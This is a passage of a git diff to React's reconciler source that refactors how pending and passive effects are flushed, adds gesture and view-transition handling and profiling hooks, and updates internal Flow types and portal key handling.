+  pendingEffectsStatus = PENDING_GESTURE_ANIMATION_PHASE;
+}
+
+function flushGestureAnimations(): void {
+  if (!enableGestureTransition) {
+    return;
+  }
+  // If we get canceled before we start we might not have applied
+  // mutations yet. We need to apply them first.
+  flushGestureMutations();
+  if (pendingEffectsStatus !== PENDING_GESTURE_ANIMATION_PHASE) {
+    return;
+  }
+
+  const lanes = pendingEffectsLanes;
+
+  if (enableProfilerTimer && enableComponentPerformanceTrack) {
+    const startViewTransitionStartTime = commitEndTime;
+    // Update the new commitEndTime to when we started the animation.
+    recordCommitEndTime();
+    logStartViewTransitionYieldPhase(
+      startViewTransitionStartTime,
+      commitEndTime,
+      pendingDelayedCommitReason === ABORTED_VIEW_TRANSITION_COMMIT,
+      animatingTask,
+    );
+    if (pendingDelayedCommitReason !== ABORTED_VIEW_TRANSITION_COMMIT) {
+      pendingDelayedCommitReason = ANIMATION_STARTED_COMMIT;
+    }
+  }
+
+  pendingEffectsStatus = NO_PENDING_EFFECTS;
+  const root = pendingEffectsRoot;
+  const finishedWork = pendingFinishedWork;
+  pendingEffectsRoot = (null: any); // Clear for GC purposes.
+  pendingFinishedWork = (null: any); // Clear for GC purposes.
+  pendingEffectsLanes = NoLanes;
+
+  pendingViewTransition = null; // The view transition has now fully started.
+
+  const prevTransition = ReactSharedInternals.T;
+  ReactSharedInternals.T = null;
+  const previousPriority = getCurrentUpdatePriority();
+  setCurrentUpdatePriority(DiscreteEventPriority);
+  const prevExecutionContext = executionContext;
+  executionContext |= CommitContext;
+  try {
+    startGestureAnimations(root, finishedWork);
+  } finally {
+    // Reset the priority to the previous non-sync value.
+    executionContext = prevExecutionContext;
+    setCurrentUpdatePriority(previousPriority);
+    ReactSharedInternals.T = prevTransition;
+  }
+
+  if (enableViewTransition) {
+    // We should now be after the startGestureTransition's .ready call which is late enough
+    // to start animating any pseudo-elements. We have also already applied any adjustments
+    // we do to the built-in animations which can now be read by the refs.
+    const pendingEvents = pendingViewTransitionEvents;
+    let pendingTypes = pendingTransitionTypes;
+    pendingTransitionTypes = null;
+    if (pendingEvents !== null) {
+      pendingViewTransitionEvents = null;
+      if (pendingTypes === null) {
+        // Normalize the type. This is lazily created only for events.
+        pendingTypes = [];
+      }
+      const appliedGesture = root.pendingGestures;
+      if (appliedGesture !== null) {
+        const runningTransition = appliedGesture.running;
+        if (runningTransition !== null) {
+          for (let i = 0; i < pendingEvents.length; i++) {
+            const viewTransitionEvent = pendingEvents[i];
+            const cleanup = viewTransitionEvent(pendingTypes);
+            if (cleanup !== undefined) {
+              addViewTransitionFinishedListener(runningTransition, cleanup);
+            }
+          }
+        }
+      }
+    }
+  }
 
-  return null;
+  if (enableProfilerTimer && enableComponentPerformanceTrack) {
+    finalizeRender(lanes, commitEndTime);
+  }
+
+  // Now that we've rendered this lane. Start working on the next lane.
+  ensureRootIsScheduled(root);
 }
 
 function makeErrorInfo(componentStack: ?string) {
@@ -3219,99 +4615,143 @@ function makeErrorInfo(componentStack: ?string) {
 }
 
 function releaseRootPooledCache(root: FiberRoot, remainingLanes: Lanes) {
-  if (enableCache) {
-    const pooledCacheLanes = (root.pooledCacheLanes &= remainingLanes);
-    if (pooledCacheLanes === NoLanes) {
-      // None of the remaining work relies on the cache pool. Clear it so
-      // subsequent requests get a new cache
-      const pooledCache = root.pooledCache;
-      if (pooledCache != null) {
-        root.pooledCache = null;
-        releaseCache(pooledCache);
-      }
+  const pooledCacheLanes = (root.pooledCacheLanes &= remainingLanes);
+  if (pooledCacheLanes === NoLanes) {
+    // None of the remaining work relies on the cache pool. Clear it so
+    // subsequent requests get a new cache
+    const pooledCache = root.pooledCache;
+    if (pooledCache != null) {
+      root.pooledCache = null;
+      releaseCache(pooledCache);
     }
   }
 }
 
-export function flushPassiveEffects(): boolean {
-  // Returns whether passive effects were flushed.
-  // TODO: Combine this check with the one in flushPassiveEFfectsImpl. We should
-  // probably just combine the two functions. I believe they were only separate
-  // in the first place because we used to wrap it with
-  // `Scheduler.runWithPriority`, which accepts a function. But now we track the
-  // priority within React itself, so we can mutate the variable directly.
-  if (rootWithPendingPassiveEffects !== null) {
-    // Cache the root since rootWithPendingPassiveEffects is cleared in
-    // flushPassiveEffectsImpl
-    const root = rootWithPendingPassiveEffects;
-    // Cache and clear the remaining lanes flag; it must be reset since this
-    // method can be called from various places, not always from commitRoot
-    // where the remaining lanes are known
-    const remainingLanes = pendingPassiveEffectsRemainingLanes;
-    pendingPassiveEffectsRemainingLanes = NoLanes;
-
-    const renderPriority = lanesToEventPriority(pendingPassiveEffectsLanes);
-    const priority = lowerEventPriority(DefaultEventPriority, renderPriority);
-    const prevTransition = ReactSharedInternals.T;
-    const previousPriority = getCurrentUpdatePriority();
-
-    try {
-      setCurrentUpdatePriority(priority);
-      ReactSharedInternals.T = null;
-      return flushPassiveEffectsImpl();
-    } finally {
-      setCurrentUpdatePriority(previousPriority);
-      ReactSharedInternals.T = prevTransition;
+let didWarnAboutInterruptedViewTransitions = false;
 
-      // Once passive effects have run for the tree - giving components a
-      // chance to retain cache instances they use - release the pooled
-      // cache at the root (if there is one)
-      releaseRootPooledCache(root, remainingLanes);
-    }
+export function flushPendingEffectsDelayed(): boolean {
+  if (pendingDelayedCommitReason === IMMEDIATE_COMMIT) {
+    pendingDelayedCommitReason = DELAYED_PASSIVE_COMMIT;
   }
-  return false;
+  return flushPendingEffects();
 }
 
-export function enqueuePendingPassiveProfilerEffect(fiber: Fiber): void {
-  if (enableProfilerTimer && enableProfilerCommitHooks) {
-    pendingPassiveProfilerEffects.push(fiber);
-    if (!rootDoesHavePassiveEffects) {
-      rootDoesHavePassiveEffects = true;
-      scheduleCallback(NormalSchedulerPriority, () => {
-        flushPassiveEffects();
-        return null;
-      });
+export function flushPendingEffects(): boolean {
+  // Returns whether passive effects were flushed.
+  if (enableViewTransition && pendingViewTransition !== null) {
+    // If we forced a flush before the View Transition full started then we skip it.
+    // This ensures that we're not running a partial animation.
+    stopViewTransition(pendingViewTransition);
+    if (__DEV__) {
+      if (!didWarnAboutInterruptedViewTransitions) {
+        didWarnAboutInterruptedViewTransitions = true;
+        console.warn(
+          'A flushSync update cancelled a View Transition because it was called ' +
+            'while the View Transition was still preparing. To preserve the synchronous ' +
+            'semantics, React had to skip the View Transition. If you can, try to avoid ' +
+            "flushSync() in a scenario that's likely to interfere.",
+        );
+      }
     }
-  }
+    pendingViewTransition = null;
+    pendingDelayedCommitReason = ABORTED_VIEW_TRANSITION_COMMIT;
+  }
+  flushGestureMutations();
+  flushGestureAnimations();
+  flushMutationEffects();
+  flushLayoutEffects();
+  // Skip flushAfterMutation if we're forcing this early.
+  flushSpawnedWork();
+  return flushPassiveEffects();
 }
 
-function flushPassiveEffectsImpl() {
-  if (rootWithPendingPassiveEffects === null) {
+function flushPassiveEffects(): boolean {
+  if (pendingEffectsStatus !== PENDING_PASSIVE_PHASE) {
     return false;
   }
+  // TODO: Merge flushPassiveEffectsImpl into this function. I believe they were only separate
+  // in the first place because we used to wrap it with
+  // `Scheduler.runWithPriority`, which accepts a function. But now we track the
+  // priority within React itself, so we can mutate the variable directly.
+  // Cache the root since pendingEffectsRoot is cleared in
+  // flushPassiveEffectsImpl
+  const root = pendingEffectsRoot;
+  // Cache and clear the remaining lanes flag; it must be reset since this
+  // method can be called from various places, not always from completeRoot
+  // where the remaining lanes are known
+  const remainingLanes = pendingEffectsRemainingLanes;
+  pendingEffectsRemainingLanes = NoLanes;
+
+  const renderPriority = lanesToEventPriority(pendingEffectsLanes);
+  const priority = lowerEventPriority(DefaultEventPriority, renderPriority);
+  const prevTransition = ReactSharedInternals.T;
+  const previousPriority = getCurrentUpdatePriority();
+
+  try {
+    setCurrentUpdatePriority(priority);
+    ReactSharedInternals.T = null;
+    return flushPassiveEffectsImpl();
+  } finally {
+    setCurrentUpdatePriority(previousPriority);
+    ReactSharedInternals.T = prevTransition;
+
+    // Once passive effects have run for the tree - giving components a
+    // chance to retain cache instances they use - release the pooled
+    // cache at the root (if there is one)
+    releaseRootPooledCache(root, remainingLanes);
+  }
+}
 
+function flushPassiveEffectsImpl() {
   // Cache and clear the transitions flag
   const transitions = pendingPassiveTransitions;
   pendingPassiveTransitions = null;
 
-  const root = rootWithPendingPassiveEffects;
-  const lanes = pendingPassiveEffectsLanes;
-  rootWithPendingPassiveEffects = null;
-  // TODO: This is sometimes out of sync with rootWithPendingPassiveEffects.
+  const root = pendingEffectsRoot;
+  const lanes = pendingEffectsLanes;
+  pendingEffectsStatus = NO_PENDING_EFFECTS;
+  pendingEffectsRoot = (null: any); // Clear for GC purposes.
+  pendingFinishedWork = (null: any); // Clear for GC purposes.
+  // TODO: This is sometimes out of sync with pendingEffectsRoot.
   // Figure out why and fix it. It's not causing any known issues (probably
   // because it's only used for profiling), but it's a refactor hazard.
-  pendingPassiveEffectsLanes = NoLanes;
+  pendingEffectsLanes = NoLanes;
+
+  if (enableYieldingBeforePassive) {
+    // We've finished our work for this render pass.
+    root.callbackNode = null;
+    root.callbackPriority = NoLane;
+  }
 
   if ((executionContext & (RenderContext | CommitContext)) !== NoContext) {
     throw new Error('Cannot flush passive effects while already rendering.');
   }
 
+  if (enableProfilerTimer && enableComponentPerformanceTrack) {
+    // We're about to log a lot of profiling for this commit.
+    // We set this once so we don't have to recompute it for every log.
+    setCurrentTrackFromLanes(lanes);
+  }
+
   if (__DEV__) {
     isFlushingPassiveEffects = true;
     didScheduleUpdateDuringPassiveEffects = false;
+  }
 
-    if (enableDebugTracing) {
-      logPassiveEffectsStarted(lanes);
+  let passiveEffectStartTime = 0;
+  if (enableProfilerTimer && enableComponentPerformanceTrack) {
+    resetCommitErrors();
+    passiveEffectStartTime = now();
+    if (pendingDelayedCommitReason === ANIMATION_STARTED_COMMIT) {
+      // The animation was started, so we've been animating since that happened.
+      logAnimatingPhase(commitEndTime, passiveEffectStartTime, animatingTask);
+    } else {
+      logPaintYieldPhase(
+        commitEndTime,
+        passiveEffectStartTime,
+        pendingDelayedCommitReason === DELAYED_PASSIVE_COMMIT,
+        workInProgressUpdateTask,
+      );
     }
   }
 
@@ -3323,23 +4763,13 @@ function flushPassiveEffectsImpl() {
   executionContext |= CommitContext;
 
   commitPassiveUnmountEffects(root.current);
-  commitPassiveMountEffects(root, root.current, lanes, transitions);
-
-  // TODO: Move to commitPassiveMountEffects
-  if (enableProfilerTimer && enableProfilerCommitHooks) {
-    const profilerEffects = pendingPassiveProfilerEffects;
-    pendingPassiveProfilerEffects = [];
-    for (let i = 0; i < profilerEffects.length; i++) {
-      const fiber = ((profilerEffects[i]: any): Fiber);
-      commitPassiveEffectDurations(root, fiber);
-    }
-  }
-
-  if (__DEV__) {
-    if (enableDebugTracing) {
-      logPassiveEffectsStopped();
-    }
-  }
+  commitPassiveMountEffects(
+    root,
+    root.current,
+    lanes,
+    transitions,
+    pendingEffectsRenderEndTime,
+  );
 
   if (enableSchedulingProfiler) {
     markPassiveEffectsStopped();
@@ -3351,6 +4781,17 @@ function flushPassiveEffectsImpl() {
 
   executionContext = prevExecutionContext;
 
+  if (enableProfilerTimer && enableComponentPerformanceTrack) {
+    const passiveEffectsEndTime = now();
+    logPassiveCommitPhase(
+      passiveEffectStartTime,
+      passiveEffectsEndTime,
+      commitErrors,
+      workInProgressUpdateTask,
+    );
+    finalizeRender(lanes, passiveEffectsEndTime);
+  }
+
   flushSyncWorkOnAllRoots();
 
   if (enableTransitionTracing) {
@@ -3391,6 +4832,14 @@ function flushPassiveEffectsImpl() {
     didScheduleUpdateDuringPassiveEffects = false;
   }
 
+  if (enableYieldingBeforePassive) {
+    // Next, we reschedule any remaining work in a new task since it's a new
+    // sequence of work. We wait until the end to do this in case the passive
+    // effect schedules higher priority work than we had remaining. That way
+    // we don't schedule an early callback that gets cancelled anyway.
+    ensureRootIsScheduled(root);
+  }
+
   // TODO: Move to commitPassiveMountEffects
   onPostCommitRootDevTools(root);
   if (enableProfilerTimer && enableProfilerCommitHooks) {
@@ -3423,6 +4872,9 @@ function captureCommitPhaseErrorOnRoot(
   error: mixed,
 ) {
   const errorInfo = createCapturedValueAtFiber(error, sourceFiber);
+  if (enableProfilerTimer && enableComponentPerformanceTrack) {
+    recordEffectError(errorInfo);
+  }
   const update = createRootErrorUpdate(
     rootFiber.stateNode,
     errorInfo,
@@ -3464,6 +4916,9 @@ export function captureCommitPhaseError(
           !isAlreadyFailedLegacyErrorBoundary(instance))
       ) {
         const errorInfo = createCapturedValueAtFiber(error, sourceFiber);
+        if (enableProfilerTimer && enableComponentPerformanceTrack) {
+          recordEffectError(errorInfo);
+        }
         const update = createClassErrorUpdate((SyncLane: Lane));
         const root = enqueueUpdate(fiber, update, (SyncLane: Lane));
         if (root !== null) {
@@ -3549,6 +5004,10 @@ function pingSuspendedRoot(
 
   markRootPinged(root, pingedLanes);
 
+  if (enableProfilerTimer && enableComponentPerformanceTrack) {
+    startPingTimerByLanes(pingedLanes);
+  }
+
   warnIfSuspenseResolutionNotWrappedWithActDEV(root);
 
   if (
@@ -3560,6 +5019,9 @@ function pingSuspendedRoot(
     // the logic of whether or not a root suspends once it completes.
     // TODO: If we're rendering sync either due to Sync, Batched or expired,
     // we should probably never restart.
+    // TODO: Attach different listeners depending on whether the listener was
+    // attached during prerendering. Prerender pings should not interrupt
+    // normal renders.
 
     // If we're suspended with delay, or if it's a retry, we'll always suspend
     // so we can always restart.
@@ -3578,6 +5040,13 @@ function pingSuspendedRoot(
         // the special internal exception that we use to interrupt the stack for
         // selective hydration. That was temporarily reverted but we once we add
         // it back we can use it here.
+        //
+        // In the meantime, record the pinged lanes so markRootSuspended won't
+        // mark them as suspended, allowing a retry.
+        workInProgressRootPingedLanes = mergeLanes(
+          workInProgressRootPingedLanes,
+          pingedLanes,
+        );
       }
     } else {
       // Even though we can't restart right now, we might get an
@@ -3587,8 +5056,58 @@ function pingSuspendedRoot(
         pingedLanes,
       );
     }
+
+    // If something pings the work-in-progress render, any work that suspended
+    // up to this point may now be unblocked; in other words, no
+    // longer suspended.
+    //
+    // Unlike the broader check above, we only need do this if the lanes match
+    // exactly. If the lanes don't exactly match, that implies the promise
+    // was created by an older render.
+    if (workInProgressSuspendedRetryLanes === workInProgressRootRenderLanes) {
+      workInProgressSuspendedRetryLanes = NoLanes;
+    }
+  }
+
+  ensureRootIsScheduled(root);
+}
+
+export function pingGestureRoot(root: FiberRoot): void {
+  const gesture = root.pendingGestures;
+  if (gesture === null) {
+    return;
   }
+  // Ping it for rerender and commit.
+  markRootPinged(root, GestureLane);
+  ensureRootIsScheduled(root);
+}
 
+export function restartGestureRoot(root: FiberRoot): void {
+  if (
+    workInProgressRoot === root &&
+    isGestureRender(workInProgressRootRenderLanes)
+  ) {
+    // The current render was a gesture but it's now defunct. We need to restart the render.
+    if ((executionContext & RenderContext) === NoContext) {
+      prepareFreshStack(root, NoLanes);
+    } else {
+      // TODO: Throw interruption when supported again.
+    }
+  } else if (
+    root.cancelPendingCommit !== null &&
+    isGestureRender(pendingEffectsLanes)
+  ) {
+    // We have a suspended commit which we'll discard.
+    const cancelPendingCommit = root.cancelPendingCommit;
+    if (cancelPendingCommit !== null) {
+      root.cancelPendingCommit = null;
+      cancelPendingCommit();
+    }
+  }
+  if (root.pendingGestures !== null) {
+    // We still have gestures to work on. Let's schedule a restart.
+    markRootPinged(root, GestureLane);
+  }
   ensureRootIsScheduled(root);
 }
 
@@ -3623,9 +5142,11 @@ export function resolveRetryWakeable(boundaryFiber: Fiber, wakeable: Wakeable) {
   let retryLane: Lane = NoLane; // Default
   let retryCache: WeakSet<Wakeable> | Set<Wakeable> | null;
   switch (boundaryFiber.tag) {
+    case ActivityComponent:
     case SuspenseComponent:
       retryCache = boundaryFiber.stateNode;
-      const suspenseState: null | SuspenseState = boundaryFiber.memoizedState;
+      const suspenseState: null | SuspenseState | ActivityState =
+        boundaryFiber.memoizedState;
       if (suspenseState !== null) {
         retryLane = suspenseState.retryLane;
       }
@@ -3661,25 +5182,47 @@ export function throwIfInfiniteUpdateLoopDetected() {
     rootWithNestedUpdates = null;
     rootWithPassiveNestedUpdates = null;
 
+    const updateKind = nestedUpdateKind;
+    nestedUpdateKind = NO_NESTED_UPDATE;
+
     if (enableInfiniteRenderLoopDetection) {
-      if (executionContext & RenderContext && workInProgressRoot !== null) {
-        // We're in the render phase. Disable the concurrent error recovery
-        // mechanism to ensure that the error we're about to throw gets handled.
-        // We need it to trigger the nearest error boundary so that the infinite
-        // update loop is broken.
-        workInProgressRoot.errorRecoveryDisabledLanes = mergeLanes(
-          workInProgressRoot.errorRecoveryDisabledLanes,
-          workInProgressRootRenderLanes,
-        );
+      if (updateKind === NESTED_UPDATE_SYNC_LANE) {
+        if (executionContext & RenderContext && workInProgressRoot !== null) {
+          // This loop was identified only because of the instrumentation gated with enableInfiniteRenderLoopDetection, warn instead of throwing.
+          if (__DEV__) {
+            console.error(
+              'Maximum update depth exceeded. This could be an infinite loop. This can happen when a component ' +
+                'repeatedly calls setState during render phase or inside useLayoutEffect, ' +
+                'causing infinite render loop. React limits the number of nested updates to ' +
+                'prevent infinite loops.',
+            );
+          }
+        } else {
+          throw new Error(
+            'Maximum update depth exceeded. This can happen when a component ' +
+              'repeatedly calls setState inside componentWillUpdate or ' +
+              'componentDidUpdate. React limits the number of nested updates to ' +
+              'prevent infinite loops.',
+          );
+        }
+      } else if (updateKind === NESTED_UPDATE_PHASE_SPAWN) {
+        if (__DEV__) {
+          console.error(
+            'Maximum update depth exceeded. This could be an infinite loop. This can happen when a component ' +
+              'repeatedly calls setState during render phase or inside useLayoutEffect, ' +
+              'causing infinite render loop. React limits the number of nested updates to ' +
+              'prevent infinite loops.',
+          );
+        }
       }
+    } else {
+      throw new Error(
+        'Maximum update depth exceeded. This can happen when a component ' +
+          'repeatedly calls setState inside componentWillUpdate or ' +
+          'componentDidUpdate. React limits the number of nested updates to ' +
+          'prevent infinite loops.',
+      );
     }
-
-    throw new Error(
-      'Maximum update depth exceeded. This can happen when a component ' +
-        'repeatedly calls setState inside componentWillUpdate or ' +
-        'componentDidUpdate. React limits the number of nested updates to ' +
-        'prevent infinite loops.',
-    );
   }
 
   if (__DEV__) {
@@ -3722,21 +5265,16 @@ function recursivelyTraverseAndDoubleInvokeEffectsInDEV(
 }
 
 // Unconditionally disconnects and connects passive and layout effects.
-function doubleInvokeEffectsOnFiber(
-  root: FiberRoot,
-  fiber: Fiber,
-  shouldDoubleInvokePassiveEffects: boolean = true,
-) {
+function doubleInvokeEffectsOnFiber(root: FiberRoot, fiber: Fiber) {
   setIsStrictModeForDevtools(true);
-  disappearLayoutEffects(fiber);
-  if (shouldDoubleInvokePassiveEffects) {
+  try {
+    disappearLayoutEffects(fiber);
     disconnectPassiveEffect(fiber);
+    reappearLayoutEffects(root, fiber.alternate, fiber, false);
+    reconnectPassiveEffects(root, fiber, NoLanes, null, false, 0);
+  } finally {
+    setIsStrictModeForDevtools(false);
   }
-  reappearLayoutEffects(root, fiber.alternate, fiber, false);
-  if (shouldDoubleInvokePassiveEffects) {
-    reconnectPassiveEffects(root, fiber, NoLanes, null, false);
-  }
-  setIsStrictModeForDevtools(false);
 }
 
 function doubleInvokeEffectsInDEVIfNecessary(
@@ -3752,13 +5290,7 @@ function doubleInvokeEffectsInDEVIfNecessary(
   if (fiber.tag !== OffscreenComponent) {
     if (fiber.flags & PlacementDEV) {
       if (isInStrictMode) {
-        runWithFiberInDEV(
-          fiber,
-          doubleInvokeEffectsOnFiber,
-          root,
-          fiber,
-          (fiber.mode & NoStrictPassiveEffectsMode) === NoMode,
-        );
+        runWithFiberInDEV(fiber, doubleInvokeEffectsOnFiber, root, fiber);
       }
     } else {
       recursivelyTraverseAndDoubleInvokeEffectsInDEV(
@@ -3798,7 +5330,7 @@ function commitDoubleInvokeEffectsInDEV(
   hasPassiveEffects: boolean,
 ) {
   if (__DEV__) {
-    if (useModernStrictMode && (disableLegacyMode || root.tag !== LegacyRoot)) {
+    if (disableLegacyMode || root.tag !== LegacyRoot) {
       let doubleInvokeEffects = true;
 
       if (
@@ -3914,7 +5446,7 @@ export function warnAboutUpdateOnNotYetMountedFiberInDEV(fiber: Fiber) {
       console.error(
         "Can't perform a React state update on a component that hasn't mounted yet. " +
           'This indicates that you have a side-effect in your render function that ' +
-          'asynchronously later calls tries to update the component. Move this work to ' +
+          'asynchronously tries to update the component. Move this work to ' +
           'useEffect instead.',
       );
     });
diff --git a/packages/react-reconciler/src/ReactInternalTypes.js b/packages/react-reconciler/src/ReactInternalTypes.js
index 8e58b5c44aa8..d12c1e38694a 100644
--- a/packages/react-reconciler/src/ReactInternalTypes.js
+++ b/packages/react-reconciler/src/ReactInternalTypes.js
@@ -17,7 +17,9 @@ import type {
   Awaited,
   ReactComponentInfo,
   ReactDebugInfo,
+  ReactKey,
 } from 'shared/ReactTypes';
+import type {TransitionTypes} from 'react/src/ReactTransitionType';
 import type {WorkTag} from './ReactWorkTags';
 import type {TypeOfMode} from './ReactTypeOfMode';
 import type {Flags} from './ReactFiberFlags';
@@ -25,17 +27,20 @@ import type {Lane, Lanes, LaneMap} from './ReactFiberLane';
 import type {RootTag} from './ReactRootTags';
 import type {
   Container,
+  Instance,
   TimeoutHandle,
   NoTimeout,
+  ActivityInstance,
   SuspenseInstance,
   TransitionStatus,
 } from './ReactFiberConfig';
 import type {Cache} from './ReactFiberCacheComponent';
-import type {
-  TracingMarkerInstance,
-  Transition,
-} from './ReactFiberTracingMarkerComponent';
+import type {Transition} from 'react/src/ReactStartTransition';
+import type {TracingMarkerInstance} from './ReactFiberTracingMarkerComponent';
 import type {ConcurrentUpdate} from './ReactFiberConcurrentUpdates';
+import type {ComponentStackNode} from 'react-server/src/ReactFizzComponentStack';
+import type {ThenableState} from './ReactFiberThenable';
+import type {ScheduledGesture} from './ReactFiberGestureScheduler';
 
 // Unwind Circular: moved from ReactFiberHooks.old
 export type HookType =
@@ -70,6 +75,7 @@ export type ContextDependency<T> = {
 export type Dependencies = {
   lanes: Lanes,
   firstContext: ContextDependency<mixed> | null,
+  _debugThenableState?: null | ThenableState, // DEV-only
   ...
 };
 
@@ -95,7 +101,7 @@ export type Fiber = {
   tag: WorkTag,
 
   // Unique identifier of this child.
-  key: null | string,
+  key: ReactKey,
 
   // The value of element.type which is used to preserve the identity during
   // reconciliation of this child.
@@ -195,9 +201,8 @@ export type Fiber = {
 
   _debugInfo?: ReactDebugInfo | null,
   _debugOwner?: ReactComponentInfo | Fiber | null,
-  _debugStack?: string | Error | null,
+  _debugStack?: Error | null,
   _debugTask?: ConsoleTask | null,
-  _debugIsCurrentlyTiming?: boolean,
   _debugNeedsRemount?: boolean,
 
   // Used to verify that the order of hooks does not change between renders.
@@ -217,8 +222,6 @@ type BaseFiberRootProperties = {
 
   pingCache: WeakMap<Wakeable, Set<mixed>> | Map<Wakeable, Set<mixed>> | null,
 
-  // A finished work-in-progress HostRoot that's ready to be committed.
-  finishedWork: Fiber | null,
   // Timeout handle returned by setTimeout. Used to cancel a pending timeout, if
   // it's superseded by a new one.
   timeoutHandle: TimeoutHandle | NoTimeout,
@@ -244,12 +247,12 @@ type BaseFiberRootProperties = {
   pendingLanes: Lanes,
   suspendedLanes: Lanes,
   pingedLanes: Lanes,
+  warmLanes: Lanes,
   expiredLanes: Lanes,
+  indicatorLanes: Lanes, // enableDefaultTransitionIndicator only
   errorRecoveryDisabledLanes: Lanes,
   shellSuspendCounter: number,
 
-  finishedLanes: Lanes,
-
   entangledLanes: Lanes,
   entanglements: LaneMap<Lanes>,
 
@@ -271,7 +274,7 @@ type BaseFiberRootProperties = {
     error: mixed,
     errorInfo: {
       +componentStack?: ?string,
-      +errorBoundary?: ?React$Component<any, any>,
+      +errorBoundary?: ?component(...props: any),
     },
   ) => void,
   onRecoverableError: (
@@ -279,7 +282,17 @@ type BaseFiberRootProperties = {
     errorInfo: {+componentStack?: ?string},
   ) => void,
 
+  // enableDefaultTransitionIndicator only
+  onDefaultTransitionIndicator: () => void | (() => void),
+  pendingIndicator: null | (() => void),
+
   formState: ReactFormState<any, any> | null,
+
+  // enableViewTransition only
+  transitionTypes: null | TransitionTypes, // TODO: Make this a LaneMap.
+  // enableGestureTransition only
+  pendingGestures: null | ScheduledGesture,
+  gestureClone: null | Instance,
 };
 
 // The following attributes are only used by DevTools and are only present in DEV builds.
@@ -290,8 +303,10 @@ type UpdaterTrackingOnlyFiberRootProperties = {
 };
 
 export type SuspenseHydrationCallbacks = {
-  onHydrated?: (suspenseInstance: SuspenseInstance) => void,
-  onDeleted?: (suspenseInstance: SuspenseInstance) => void,
+  +onHydrated?: (
+    hydrationBoundary: SuspenseInstance | ActivityInstance,
+  ) => void,
+  +onDeleted?: (hydrationBoundary: SuspenseInstance | ActivityInstance) => void,
   ...
 };
 
@@ -350,7 +365,7 @@ export type TransitionTracingCallbacks = {
 // The following fields are only used in transition tracing in Profile builds
 type TransitionTracingOnlyFiberRootProperties = {
   transitionCallbacks: null | TransitionTracingCallbacks,
-  transitionLanes: Array<Set<Transition> | null>,
+  transitionLanes: LaneMap<Set<Transition> | null>,
   // Transitions on the root can be represented as a bunch of tracing markers.
   // Each entangled group of transitions can be treated as a tracing marker.
   // It will have a set of pending suspense boundaries. These transitions
@@ -360,6 +375,11 @@ type TransitionTracingOnlyFiberRootProperties = {
   incompleteTransitions: Map<Transition, TracingMarkerInstance>,
 };
 
+type ProfilerCommitHooksOnlyFiberRootProperties = {
+  effectDuration: number,
+  passiveEffectDuration: number,
+};
+
 // Exported FiberRoot type includes all properties,
 // To avoid requiring potentially error-prone :any casts throughout the project.
 // The types are defined separately within this file to ensure they stay in sync.
@@ -368,7 +388,7 @@ export type FiberRoot = {
   ...SuspenseCallbackOnlyFiberRootProperties,
   ...UpdaterTrackingOnlyFiberRootProperties,
   ...TransitionTracingOnlyFiberRootProperties,
-  ...
+  ...ProfilerCommitHooksOnlyFiberRootProperties,
 };
 
 type BasicStateAction<S> = (S => S) | S;
@@ -389,7 +409,7 @@ export type Dispatcher = {
     create: () => (() => void) | void,
     deps: Array<mixed> | void | null,
   ): void,
-  useEffectEvent?: <Args, F: (...Array<Args>) => mixed>(callback: F) => F,
+  useEffectEvent: <Args, F: (...Array<Args>) => mixed>(callback: F) => F,
   useInsertionEffect(
     create: () => (() => void) | void,
     deps: Array<mixed> | void | null,
@@ -417,19 +437,19 @@ export type Dispatcher = {
     getServerSnapshot?: () => T,
   ): T,
   useId(): string,
-  useCacheRefresh?: () => <T>(?() => T, ?T) => void,
-  useMemoCache?: (size: number) => Array<any>,
-  useHostTransitionStatus?: () => TransitionStatus,
-  useOptimistic?: <S, A>(
+  useCacheRefresh: () => <T>(?() => T, ?T) => void,
+  useMemoCache: (size: number) => Array<any>,
+  useHostTransitionStatus: () => TransitionStatus,
+  useOptimistic: <S, A>(
     passthrough: S,
     reducer: ?(S, A) => S,
   ) => [S, (A) => void],
-  useFormState?: <S, P>(
+  useFormState: <S, P>(
     action: (Awaited<S>, P) => S,
     initialState: Awaited<S>,
     permalink?: string,
   ) => [Awaited<S>, (P) => void, boolean],
-  useActionState?: <S, P>(
+  useActionState: <S, P>(
     action: (Awaited<S>, P) => S,
     initialState: Awaited<S>,
     permalink?: string,
@@ -438,6 +458,7 @@ export type Dispatcher = {
 
 export type AsyncDispatcher = {
   getCacheForType: <T>(resourceType: () => T) => T,
-  // DEV-only (or !disableStringRefs)
-  getOwner: () => null | Fiber | ReactComponentInfo,
+  cacheSignal: () => null | AbortSignal,
+  // DEV-only
+  getOwner: () => null | Fiber | ReactComponentInfo | ComponentStackNode,
 };
diff --git a/packages/react-reconciler/src/ReactPortal.js b/packages/react-reconciler/src/ReactPortal.js
index 06764c58cc87..78d9d7f63720 100644
--- a/packages/react-reconciler/src/ReactPortal.js
+++ b/packages/react-reconciler/src/ReactPortal.js
@@ -7,25 +7,37 @@
  * @flow
  */
 
-import {REACT_PORTAL_TYPE} from 'shared/ReactSymbols';
+import {REACT_PORTAL_TYPE, REACT_OPTIMISTIC_KEY} from 'shared/ReactSymbols';
 import {checkKeyStringCoercion} from 'shared/CheckStringCoercion';
 
-import type {ReactNodeList, ReactPortal} from 'shared/ReactTypes';
+import type {
+  ReactNodeList,
+  ReactPortal,
+  ReactOptimisticKey,
+} from 'shared/ReactTypes';
 
 export function createPortal(
   children: ReactNodeList,
   containerInfo: any,
   // TODO: figure out the API for cross-renderer implementation.
   implementation: any,
-  key: ?string = null,
+  key: ?string | ReactOptimisticKey = null,
 ): ReactPortal {
-  if (__DEV__) {
-    checkKeyStringCoercion(key);
+  let resolvedKey;
+  if (key == null) {
+    resolvedKey = null;
+  } else if (key === REACT_OPTIMISTIC_KEY) {
+    resolvedKey = REACT_OPTIMISTIC_KEY;
+  } else {
+    if (__DEV__) {
+      checkKeyStringCoercion(key);
+    }
+    resolvedKey = '' + key;
   }
   return {
     // This tag allow us to uniquely identify this as a React Portal
     $$typeof: REACT_PORTAL_TYPE,
-    key: key == null ? null : '' + key,
+    key: resolvedKey,
     children,
     containerInfo,
     implementation,
diff --git a/packages/react-reconciler/src/ReactProfilerTimer.js b/packages/react-reconciler/src/ReactProfilerTimer.js
index 283b0e1f6a92..42289ea30a1d 100644
--- a/packages/react-reconciler/src/ReactProfilerTimer.js
+++ b/packages/react-reconciler/src/ReactProfilerTimer.js
@@ -9,12 +9,32 @@
 
 import type {Fiber} from './ReactInternalTypes';
 
+import type {SuspendedReason} from './ReactFiberWorkLoop';
+
+import type {Lane, Lanes} from './ReactFiberLane';
+
+import type {CapturedValue} from './ReactCapturedValue';
+
+import {
+  isTransitionLane,
+  isBlockingLane,
+  isGestureRender,
+  includesTransitionLane,
+  includesBlockingLane,
